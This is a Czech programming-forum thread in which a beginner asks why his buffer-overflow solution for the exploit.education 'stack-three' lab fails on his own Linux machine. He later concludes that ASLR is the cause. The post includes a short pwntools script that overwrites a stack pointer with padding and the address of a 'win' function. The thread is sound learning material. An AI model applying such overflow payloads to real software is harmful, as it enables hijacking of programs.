Vydělávej až 160.000 Kč měsíčně! Akreditované rekvalifikační kurzy s garancí práce od 0 Kč. Více informací.
Hledáme nové posily do ITnetwork týmu. Podívej se na volné pozice a přidej se do nejagilnější firmy na trhu - Více informací.
Avatar
Šimon Lakosil:10.7.2020 17:13

Ahojte, snažím se vyřešit buffer overflow úlohu na https://exploit.education/…stack-three/.
Úlohu řeším na x86_64 parrot linuxu. Nechci to řešit na jejich virtuálce, protože na mém PC řeším i jiné úlohy a tak chci zůstat ve svém prostředí.
Když binární soubor spustím přes gdb, tak se mi ukáže "Entry point: 0x1070", když však soubor spustím přes příkaz "run" a následně se podívám znovu na "info file", tak zjistím, že je entry point na adrese 0x555555555070 (tento jev se mi děje naprosto u každého binárního souboru).
Problém taky je, že se mi do proměnné *fp uloží jen jeden "blok" tady z toho dumpu stacku, takže po změně adresy po prvním spuštění nemůžu celou adresu instrukce namáčknout do toho bloku:
0x7fffffffdf40: 0x41414141 0x41414141 0x41414141 0x41414141
Je tato úloha vůbec řešitelná na mém PC ?

Zkusil jsem: ZKoušel jsem také napsat python script na automatický exploit, ale jak se mi tam přepusjí ty adresy, tak to strašně blbne s brainpointama.

# POC: aaaaaaaabaaaa­aaacaaaaaaada­aaaaaaeaaaaaa­afaaaaaaagaaa­aaaahaaaaaaai­aaaaaaaj
# 0x0000555555555155 - win function
from pwn import *
context(termi­nal=['tmux', 'new-window'])
p = gdb.debug('./main')
context(os='linux', arch='amd64')

offset="aaaaa­aaabaaaaaaaca­aaaaaadaaaaaa­aeaaaaaaafaaa­aaaagaaaaaaaha­aaaaaai".enco­de()
call_win = p64(0x555555555155)

p.recv()
p.sendline(offset + call_win)

Chci docílit: Redirectnout flow programu do funkce "win"
No konec bych rád zmínil, že jsem celkem nováček na poli nízkoúrovňových věcí, mám za sebou jen jeden kurz. Tak budu moc rád za kteroukoli radu. Děkuji

 
Odpovědět
10.7.2020 17:13
Avatar
Odpovídá na Šimon Lakosil
Šimon Lakosil:11.7.2020 16:42

oh, může za to ASLR ...

Akceptované řešení
+5 Zkušeností
Řešení problému
 
Nahoru Odpovědět
11.7.2020 16:42
Děláme co je v našich silách, aby byly zdejší diskuze co nejkvalitnější. Proto do nich také mohou přispívat pouze registrovaní členové. Pro zapojení do diskuze se přihlas. Pokud ještě nemáš účet, zaregistruj se, je to zdarma.

Zobrazeno 2 zpráv z 2.